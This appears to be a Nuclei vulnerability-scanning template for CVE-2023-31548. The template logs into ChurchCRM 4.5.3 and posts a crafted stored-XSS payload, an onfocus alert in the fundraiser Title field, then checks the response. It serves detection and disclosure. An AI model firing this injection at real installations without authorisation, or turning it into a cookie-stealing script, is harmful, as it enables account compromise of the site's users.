id: CVE-2023-31548

info:
  name: ChurchCRM - Stored Cross Site Scripting
  author: Harsh
  severity: medium
  description: |
    A stored Cross-site scripting (XSS) vulnerability in the FundRaiserEditor.php component of ChurchCRM v4.5.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-31548
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31548
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-31548
    cwe-id: CWE-79
  metadata:
    verified: true
  tags: cve,cve2023,churchCRM,stored,xss,authenticated
http:
  - raw:
      - |
        POST /churchcrm/session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}

      - |
        POST /churchcrm/FundRaiserEditor.php?linkBack=&FundRaiserID=-1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        FundRaiserSubmit=Save&Date=2023-06-24&Title=%22+onfocus%3D%22alert%28document.domain%29%22+autofocus%3D%22&Description=test

    cookie-reuse: true
    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "alert(document.domain)")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and